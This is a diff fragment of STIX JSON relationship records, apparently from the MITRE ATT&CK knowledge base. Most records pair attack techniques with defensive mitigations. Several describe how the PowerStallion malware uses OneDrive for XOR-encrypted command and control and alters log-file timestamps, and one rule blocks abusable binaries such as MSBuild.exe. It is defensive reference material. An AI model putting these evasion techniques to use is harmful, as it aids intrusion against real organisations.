+ "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T15:19:09.796Z", + "id": "relationship--418bde38-35eb-44bc-a454-ad7d2918bda5", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-18T21:18:02.976Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T15:21:42.942Z", + "id": "relationship--de274a43-282a-46e2-9191-7f1acec2e6e4", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-17T21:08:30.260Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:21:55.301Z", + "id": "relationship--89887815-acfc-42f9-9172-81437cf9ff69", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-23T14:22:12.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Least Privilege", + "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx" + }, + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. When possible, applications that use SSH keys should be updated periodically and properly secured. Ensure that local administrator accounts have complex, unique passwords across all systems on the network.\n\nIn cloud environments, consider rotating access keys within a certain number of days for reducing the effectiveness of stolen credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:21:55.304Z", + "id": "relationship--4f24d075-4d6c-49d2-a213-306e4af2083d", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-10-23T14:22:12.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "undefined. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", + "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet", + "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:28:45.435Z", + "id": "relationship--1d1525e6-74f2-447d-ba11-9e9c9c552403", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-06-21T16:28:45.435Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:28:45.461Z", + "id": "relationship--66551074-a1e3-439c-a996-c1f7ca8136e2", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-06-21T16:28:45.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "Application whitelisting may be able to prevent the running of executables masquerading as other files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:28:45.465Z", + "id": "relationship--225ab1b4-f800-4a92-9949-a0f05fce6213", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-06-21T16:28:45.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:28:45.467Z", + "id": "relationship--8e567361-e2de-4dc6-b953-ec82dc143f58", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-06-21T16:28:45.467Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "description": "Remove smart cards when not in use.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:38:58.266Z", + "id": "relationship--96213379-cdf0-4ee0-8f0c-a9c0d5ffca7e", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-06-21T16:38:58.266Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "description": "Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:45:15.046Z", + "id": "relationship--a42398e2-3daa-452a-80f8-f06660328f18", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "modified": "2019-10-11T15:20:53.996Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:45:15.071Z", + "id": "relationship--f0e9a1f7-8600-4558-9d2e-91126c42b126", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-10-11T15:20:53.998Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "description": "Use application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:52:53.737Z", + "id": "relationship--8c0286e0-036d-4282-9e54-6938c958b7e9", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-31T19:44:19.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft GitHub Device Guard CI Policies", + "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.", + "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md" + }, + { + "source_name": "Exploit Monday Mitigate Device Guard Bypases", + "description": "Graeber, M. (2016, September 8). Using Device Guard to Mitigate Against Device Guard Bypasses. Retrieved September 13, 2016.", + "url": "http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html" + }, + { + "source_name": "GitHub mattifestation DeviceGuardBypass", + "description": "Graeber, M. (2016, November 13). DeviceGuardBypassMitigationRules. Retrieved November 30, 2016.", + "url": "https://github.com/mattifestation/DeviceGuardBypassMitigationRules" + }, + { + "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Msbuild", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T16:52:53.740Z", + "id": "relationship--f4e83a18-a2bf-45af-aa6b-18f72646d8b6", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-31T19:44:19.527Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) uses a XOR cipher to encrypt command output written to its OneDrive C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:23:27.993Z", + "id": "relationship--11ea144c-253e-4f68-bb2c-1f942cba6b54", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "modified": "2019-07-14T21:02:01.442Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) uses Microsoft OneDrive as a C2 server via a network drive mapped with net use.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:23:28.006Z", + "id": "relationship--033a5e59-ab65-485b-a9c0-775977e8abd0", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "modified": "2019-07-14T21:02:01.443Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) modifies the MAC times of its local log files to match that of the victim's desktop.ini file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:23:28.014Z", + "id": "relationship--63dc6102-8405-4273-8e73-7df7ef6c2514", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "modified": "2019-07-14T21:02:01.433Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) uses [PowerShell](https://attack.mitre.org/techniques/T1086) loops to iteratively check for available commands in its OneDrive C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:23:28.017Z", + "id": "relationship--e57ffe68-7c4c-42dc-9192-78040606ec58", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "modified": "2019-07-14T21:02:01.441Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:24:21.655Z", + "id": "relationship--76428147-d359-4568-a1a2-7cc3da632da4", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.844Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "Have a strict approval policy for use of deployment systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:26:42.085Z", + "id": "relationship--8f4b9d5d-6ad7-4cca-9869-551604450f91", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-07-18T21:34:47.402Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:26:42.105Z", + "id": "relationship--33a54656-6370-4c22-af67-4ff528ba1568", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-18T21:34:47.400Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:26:42.107Z", + "id": "relationship--e4236234-0fd7-426f-b55a-d32364e3a64e", + "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "modified": "2019-07-18T21:34:47.405Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "Ensure proper system isolation for critical network systems through use of firewalls.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:26:42.110Z", + "id": "relationship--8eaad388-b7ef-4fb8-88e6-c6f36065c8c4", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-18T21:34:47.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "description": "Protect shared folders by minimizing users who have write access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:38:45.794Z", + "id": "relationship--ecf9df35-e4f5-4041-a65d-0e897e5435b0", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-06-21T17:38:45.794Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "description": "Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:38:45.809Z", + "id": "relationship--f66af3ae-266c-4aa1-a6b4-f1ff87aff601", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-06-21T17:38:45.809Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "description": "Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T17:38:45.822Z", + "id": "relationship--b0831323-de94-498a-8338-c60778bef95f", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-06-21T17:38:45.822Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) has been used to monitor process lists.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T18:03:31.624Z", + "id": "relationship--772089d3-b06e-4e5e-993b-1351f71484e7", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "modified": "2019-07-14T21:02:01.439Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "description": "Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T18:12:47.748Z", + "id": "relationship--abb3f2e2-0c57-437e-b64c-3069822b4ba2", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T18:46:58.864Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "description": "Restrict software installation to trusted repositories only and be cautious of orphaned software packages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T18:12:47.763Z", + "id": "relationship--5897e1fb-ec6a-4530-a54b-62be28b1dde1", + "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "modified": "2019-07-18T18:46:58.879Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T18:26:26.315Z", + "id": "relationship--62f767d9-7b10-42d0-a534-92b1de45bae0", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-06-21T18:26:26.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "description": "Patch the BIOS and EFI as necessary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T18:26:26.323Z", + "id": "relationship--2b4f5770-30ef-45e1-9940-964c4bb1e541", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-06-21T18:26:26.323Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "description": "Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Use Trusted Platform Module technology.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T18:26:26.332Z", + "id": "relationship--5164dba3-22f5-443b-87fb-3d52618bce33", + "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "modified": "2019-06-21T18:26:26.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "description": "Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T18:37:11.945Z", + "id": "relationship--d5be72df-7267-4524-85fa-a497a0cd8052", + "source_ref": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", + "modified": "2019-06-21T18:37:11.945Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "description": "A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T18:37:11.962Z", + "id": "relationship--9c41bfe8-99bc-4aed-a8b9-9e19794a6c59", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-06-21T18:37:11.962Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72", + "description": "The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T10:53:12.332Z", + "id": "relationship--4f93232a-e242-4917-9873-4bc5c37f3486", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T18:34:14.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72", + "description": "By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T10:53:12.345Z", + "id": "relationship--1d078b15-d786-4aaa-b3be-e862b1a7c2e9", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T18:34:14.548Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T10:56:40.113Z", + "id": "relationship--b2cf0663-fd8e-4ca5-988a-dfec3c8a33f0", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T17:58:17.228Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "description": "Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:01:58.813Z", + "id": "relationship--886bb26b-0fbb-44da-bc03-b451a3eb3840", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "modified": "2019-07-18T17:51:26.699Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "description": "Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:01:58.826Z", + "id": "relationship--ec456b9e-db3e-44df-8288-adf086a0c0bb", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T17:51:26.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "description": "Do not allow remote access via SSH as root or other privileged accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:01:58.829Z", + "id": "relationship--709814dc-61e0-439b-8793-5d4d59a19030", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", 